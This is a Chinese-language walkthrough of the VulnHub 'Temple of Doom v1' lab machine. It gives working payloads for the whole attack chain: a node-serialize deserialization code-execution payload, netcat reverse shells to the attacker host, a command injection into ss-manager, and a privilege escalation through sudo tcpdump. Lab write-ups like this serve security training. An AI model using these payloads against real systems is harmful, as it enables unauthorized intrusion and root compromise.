vulnhub-temple-of-DOOM-v1通关教程

这台靶机是159这不过多赘述了，这台靶机简单，我打两遍除了拿错shell，填写错反弹端口，这些注意一下不是问题，几乎没有什么难点。

nmap 192.168.135.0/24 -sP

我们看看它开发的端口。发现开启22ssh端口和666端口，暂时不知道是什么服务，还得进一步的全扫描。

nmap 192.168.135.159

我们发现它就开了两个端口22端口我没有用到过，进入用户shell，枚举信息拿到加密密码，破解估计可以走这条路，我尝试访问http。。。这里它做了端口修改，估计以前的作者喜欢修改或隐藏端口信息吧。

nmap 192.168.135.159 -p- -sV -sC -A -T5

？？？我们发现我们依靠的dirb失效了，nikto也不会有结果了。。。

dirb http://192.168.135.159:666

我们抓包，查看他的GET包信息看看

根据抓到的包我们编码发现他是base64编码。

根据编码出来的结果，我们将它编码二次发送。发现成功输出username的值admin

{"username":"Admin"}

我们放行原始信息，发现报错。这里说了他使用了unserialize反序列化函数，我们还在nmap扫描是发现了node.js文件，说明他是node.js的反序列化。这也说白了为什么我们抓到的包cookie里是base64编码，能够执行信息。

unserialize()通过传递带有立即调用函数表达式(IIFE)的序列化JavaScript的对象，可以利用传递到节点中的序列化模块的函数，使得不受信任的数据来实现任意代码执行。

那么根据我们刚才将{"username":"Admin"}转换成base64编码，网页返helloadmin，我们可摸清楚当我们输入base64编码后，unserialize会将编码反序列化出来，变成Admin成功执行，那么我们根据规则构造payload执行命令

{"username":"_$$ND_FUNC$$_function (){return require('child_process').execSync('whoami', (error, stdout, stderr) =>{ console.log(stdout);});}()"}

既然证实了他能执行命令，那我们构造payload反弹一个shell回来。这个利用的是反序列化的命令注入，原理什么的去freebuf。

{"username":"_$$ND_FUNC$$_function (){return require('child_process').execSync('nc -e /bin/bash 192.168.135.155 6666', (error, stdout, stderr) =>{ console.log(stdout);});}()"}

将base64编码的反向shell包发送，就能拿到shell。

我们接着拿个稳定shell

Stty raw -echo; fg

Export SHELL=/bin/bash

Export TERM=xterm-256color

非常稳定不会断掉

这里正常来说我们都是用脚本来枚举信息和漏洞，脚本我放到github上,后面的信息大多都是我脚本跑出来过，手敲只为了看他在哪，命令我就不再敲一次了。。。没用。。。

/etc/profile.d/ 目录下所有 .sh 脚本，任何用户登录 ssh / 打开新终端的时候，系统都会自动执行里面的代码（全局登录脚本） 你当前普通用户拥有这两个文件的写入权限，属于经典提权点！

ss-manager是s-manager的缩写s-libev是用于嵌入式的服务和安全SOCKS5作为代理，ss-manager用于控制多个用户的s服务器，并在需要时生成新服务器，就是能创建新服务去利用！

ss-manager 进程 PID=1460

这里发现他是本地运行在8839上，我们可以连接，nc反弹一个shell拿到fireman的shell

/usr/local/bin/ss-mnager

连接服务，添加反弹payload，获得firemanshell

Nc -u 127.0.0.1 8839

add: {"server_port":8003, "password":"test", "method":"||nc -e /bin/sh 192.168.135.155 9900||"}

这里我试了两次，第一次拿到的是nodeadminshell，我有重启换了换了监听端口，下面这图是失败的。。。我还是放张成功的吧，毕竟如果你也遇到拿到原来的shell的情况，也能够跟我一样独自解决。（明明第一次打的时候都没这个问题）

这里有时又拿到nodeadmin的shell，估计是靶机问题重新启动靶机重走一遍来时路，重新利用ss-namager拿shell，就是fireman的shell了

这里才发现一整篇都没有写稳定shell，这里因为拿firemanshell（拿到的都是nodeadmimshell）和root失败几次重来几次了，就不截图了。练一练吧

Python -c ‘import pty;pty.spawn(“/bin/bash”)’

Stty raw -echo; fg

Export TERM=xterm

发现没有root权限，那就看看sudo提权可以吗

Sudo -l

这里发现可以用tcpdump

这里将反向 shell（反弹 shell），利用sudo tcpdump提权，让root 身份执行这个反弹脚本，把 root shell 弹回你的攻击机。

echo "nc -e /bin/bash 192.168.135.155 9999" > yang

chmod +x yang

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/yang -Z root

这里提前开启监听，执行完sudo命令拿到rootshell

这里拿到root就结束了，还是看会flag吧

我们总结一下这台靶机的getrootshell的思路，我们扫到22和333（http）端口，我们从网页和dirb找不到有用的信息，只能抓包发现它是node.js反序列化(其实在nmap中也能发现node.js文件初步判断是node.js反序列化)，我们利用反序列化命令执行漏洞拿到nodeadminshell，里面我们发现fireman用户，利用mss-manager漏洞连接，监听反弹拿到firemanshell，这里有时又拿到nodeadminshell需要重启靶机再打一遍。。。再firemanshell里我们发现它有sudo的执行权限，利用sudo（tcpdum）提权成功拿到rootshell。